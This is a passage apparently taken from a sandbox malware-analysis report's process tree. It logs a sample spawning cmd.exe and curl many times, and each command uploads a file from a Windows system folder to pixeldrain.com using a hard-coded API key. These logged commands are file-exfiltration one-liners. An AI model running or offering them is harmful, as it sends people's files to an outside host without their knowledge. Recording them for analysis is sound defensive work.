  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36.png-07-11-2026--13.55.56.png
  2⤵
  - Executes a command shell one-liner
  PID:2700
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36.png-07-11-2026--13.55.56.png
    3⤵
    PID:5832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated.png-07-11-2026--13.55.56.png
  2⤵
  PID:2996
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated.png-07-11-2026--13.55.56.png
    3⤵
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated_contrast-black.png-07-11-2026--13.55.56.png
  2⤵
  PID:5648
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated_contrast-black.png-07-11-2026--13.55.56.png
    3⤵
    PID:6016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated_contrast-white.png-07-11-2026--13.55.57.png
  2⤵
  PID:1272
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_altform-unplated_contrast-white.png-07-11-2026--13.55.57.png
    3⤵
    PID:2252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_contrast-black.png-07-11-2026--13.55.57.png
  2⤵
  PID:5064
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_contrast-black.png-07-11-2026--13.55.57.png
    3⤵
    PID:436
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_contrast-white.png-07-11-2026--13.55.57.png
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-36_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-36_contrast-white.png-07-11-2026--13.55.57.png
    3⤵
    PID:5584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40.png-07-11-2026--13.55.57.png
  2⤵
  PID:2676
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40.png-07-11-2026--13.55.57.png
    3⤵
    PID:4316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated.png-07-11-2026--13.55.58.png
  2⤵
  PID:5936
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated.png-07-11-2026--13.55.58.png
    3⤵
    PID:5568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated_contrast-black.png-07-11-2026--13.55.58.png
  2⤵
  PID:4888
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated_contrast-black.png-07-11-2026--13.55.58.png
    3⤵
    PID:1264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated_contrast-white.png-07-11-2026--13.55.58.png
  2⤵
  PID:2628
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_altform-unplated_contrast-white.png-07-11-2026--13.55.58.png
    3⤵
    PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_contrast-black.png-07-11-2026--13.55.58.png
  2⤵
  PID:1456
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_contrast-black.png-07-11-2026--13.55.58.png
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_contrast-white.png-07-11-2026--13.55.59.png
  2⤵
  PID:1548
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-40_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-40_contrast-white.png-07-11-2026--13.55.59.png
    3⤵
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48.png-07-11-2026--13.55.59.png
  2⤵
  PID:5500
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48.png-07-11-2026--13.55.59.png
    3⤵
    PID:5920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated.png-07-11-2026--13.55.59.png
  2⤵
  PID:4504
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated.png-07-11-2026--13.55.59.png
    3⤵
    PID:6000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated_contrast-black.png-07-11-2026--13.55.59.png
  2⤵
  PID:4280
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated_contrast-black.png-07-11-2026--13.55.59.png
    3⤵
    PID:3388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated_contrast-white.png-07-11-2026--13.56.00.png
  2⤵
  PID:4656
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_altform-unplated_contrast-white.png-07-11-2026--13.56.00.png
    3⤵
    PID:4836
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_contrast-black.png-07-11-2026--13.56.00.png
  2⤵
  PID:2604
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_contrast-black.png-07-11-2026--13.56.00.png
    3⤵
    PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_contrast-white.png-07-11-2026--13.56.00.png
  2⤵
  - Executes a command shell one-liner
  PID:3548
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-48_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-48_contrast-white.png-07-11-2026--13.56.00.png
    3⤵
    PID:4440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60.png-07-11-2026--13.56.00.png
  2⤵
  PID:836
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60.png-07-11-2026--13.56.00.png
    3⤵
    PID:1800
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated.png-07-11-2026--13.56.01.png
  2⤵
  PID:4940
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated.png-07-11-2026--13.56.01.png
    3⤵
    PID:5304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated_contrast-black.png-07-11-2026--13.56.01.png
  2⤵
  PID:4340
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated_contrast-black.png-07-11-2026--13.56.01.png
    3⤵
    PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated_contrast-white.png-07-11-2026--13.56.01.png
  2⤵
  PID:2616
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_altform-unplated_contrast-white.png-07-11-2026--13.56.01.png
    3⤵
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_contrast-black.png-07-11-2026--13.56.02.png
  2⤵
  PID:3728
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_contrast-black.png-07-11-2026--13.56.02.png
    3⤵
    PID:4780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_contrast-white.png-07-11-2026--13.56.02.png
  2⤵
  PID:4068
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-60_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-60_contrast-white.png-07-11-2026--13.56.02.png
    3⤵
    PID:1244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64.png-07-11-2026--13.56.02.png
  2⤵
  PID:2332
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64.png-07-11-2026--13.56.02.png
    3⤵
    PID:8
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated.png-07-11-2026--13.56.02.png
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated.png-07-11-2026--13.56.02.png
    3⤵
    PID:4840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated_contrast-black.png-07-11-2026--13.56.03.png
  2⤵
  PID:5652
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated_contrast-black.png-07-11-2026--13.56.03.png
    3⤵
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated_contrast-white.png-07-11-2026--13.56.03.png
  2⤵
  PID:4768
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_altform-unplated_contrast-white.png-07-11-2026--13.56.03.png
    3⤵
    PID:3168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_contrast-black.png-07-11-2026--13.56.03.png
  2⤵
  PID:2364
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_contrast-black.png-07-11-2026--13.56.03.png
    3⤵
    PID:2256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_contrast-white.png-07-11-2026--13.56.03.png
  2⤵
  PID:3172
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-64_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-64_contrast-white.png-07-11-2026--13.56.03.png
    3⤵
    PID:4928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72.png-07-11-2026--13.56.04.png
  2⤵
  PID:5832
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72.png-07-11-2026--13.56.04.png
    3⤵
    PID:1940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated.png-07-11-2026--13.56.04.png
  2⤵
  PID:2488
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated.png-07-11-2026--13.56.04.png
    3⤵
    PID:4996
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated_contrast-black.png-07-11-2026--13.56.04.png
  2⤵
  PID:2644
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated_contrast-black.png-07-11-2026--13.56.04.png
    3⤵
    PID:2796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated_contrast-white.png-07-11-2026--13.56.04.png
  2⤵
  PID:5972
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_altform-unplated_contrast-white.png-07-11-2026--13.56.04.png
    3⤵
    PID:3552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_contrast-black.png-07-11-2026--13.56.05.png
  2⤵
  PID:5720
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_contrast-black.png-07-11-2026--13.56.05.png
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_contrast-white.png-07-11-2026--13.56.05.png
  2⤵
  PID:5824
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-72_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-72_contrast-white.png-07-11-2026--13.56.05.png
    3⤵
    PID:5232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80.png-07-11-2026--13.56.05.png
  2⤵
  PID:6024
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80.png-07-11-2026--13.56.05.png
    3⤵
    PID:5760
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated.png-07-11-2026--13.56.06.png
  2⤵
  PID:4372
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated.png-07-11-2026--13.56.06.png
    3⤵
    PID:4968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated_contrast-black.png-07-11-2026--13.56.06.png
  2⤵
